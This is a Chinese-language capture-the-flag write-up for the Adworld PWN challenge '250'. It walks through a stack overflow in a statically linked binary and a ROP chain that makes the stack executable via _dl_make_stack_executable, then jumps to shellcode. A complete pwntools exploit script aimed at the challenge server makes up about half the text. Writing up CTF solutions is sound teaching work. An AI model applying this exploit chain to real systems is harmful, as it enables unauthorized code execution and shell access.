攻防世界PWN之250题解

250

首先,检查一下程序的保护机制

攻防世界PWN之250题解

然后,我们用IDA分析一下

程序存在明显的栈溢出漏洞

攻防世界PWN之250题解

并且glibc被静态编译到了程序中

攻防世界PWN之250题解

由于没有开启PIE,且glibc被静态编译包含,那么我们有很多方式get shell,这里,我们使用的是dl_make_stack_executable使得栈变得可执行,然后在栈里布下shellcode来getshell

攻防世界PWN之250题解

为了节省步骤,我们直接ret到这里

攻防世界PWN之250题解

这样,我们就不用担心参数的问题,我们还得事先设置好ebp的值,使得[ebp+arg_10]为__libc_stack_end的地址,目的是为了绕过这里的检查

攻防世界PWN之250题解

我们发现0x80A0B05处就是__libc_stack_end的地址

攻防世界PWN之250题解

于是,我们就令ebp为0x80A0B05 - 0x18,这样[ebp+arg_10]为__libc_stack_end的地址

接下来,为了让_dl_make_stack_executable执行完后,不回到这

攻防世界PWN之250题解

我们需要利用gadgets修改_dl_make_stack_executable_hook的值

攻防世界PWN之250题解

我们得让它偏移一个push指令,即改成划线处的地址

攻防世界PWN之250题解

这样ret时,就会不到原来的地方,而是回到栈里的ROP gadgets

于是,我们再用jmp esp来继续跳转到栈里,执行shellcode

综上,我们的exp脚本如下

  1. #coding:utf8  
  2. from pwn import *  
  3.   
  4. #sh = process('./pwnh38')  
  5. sh = remote('111.198.29.45',52378)  
  6. elf = ELF('./pwnh38')  
  7. _dl_make_stack_executable_hook = elf.symbols['_dl_make_stack_executable_hook']  
  8. '''''调用_dl_make_stack_executable 
  9. .text:0809A260                 or      ds:__stack_prot, 7 
  10. .text:0809A267                 mov     eax, [ebp+arg_10] 
  11. .text:0809A26A                 call    _dl_make_stack_executable_hook 
  12. '''  
  13. call_dl_make_stack_executable = 0x809A260  
  14. #inc dword ptr [ecx] ; ret  
  15. inc_p_ecx = 0x080845f8  
  16. pop_ecx = 0x080df1b9  
  17. jmp_esp = 0x080de2bb  
  18.   
  19. sh.sendlineafter('SSCTF[InPut Data Size]',str(0x100))  
  20.   
  21. payload = 'a'*0x3A + p32(0x80A0B05 - 0x18)  
  22. #修改_dl_make_stack_executable_hook,偏移一个push,这样ret时就不会返回到原来的位置  
  23. payload += p32(pop_ecx) + p32(_dl_make_stack_executable_hook) + p32(inc_p_ecx)  
  24. #调用_dl_make_stack_executable让栈变得可执行,并跳到栈里继续执行shellcode  
  25. payload += p32(call_dl_make_stack_executable) + p32(jmp_esp)  
  26. #shellcode  
  27. payload += asm(shellcraft.i386.linux.sh())  
  28.   
  29. raw_input()  
  30. sh.sendlineafter('SSCTF[YourData]',payload)  
  31.   
  32. sh.interactive()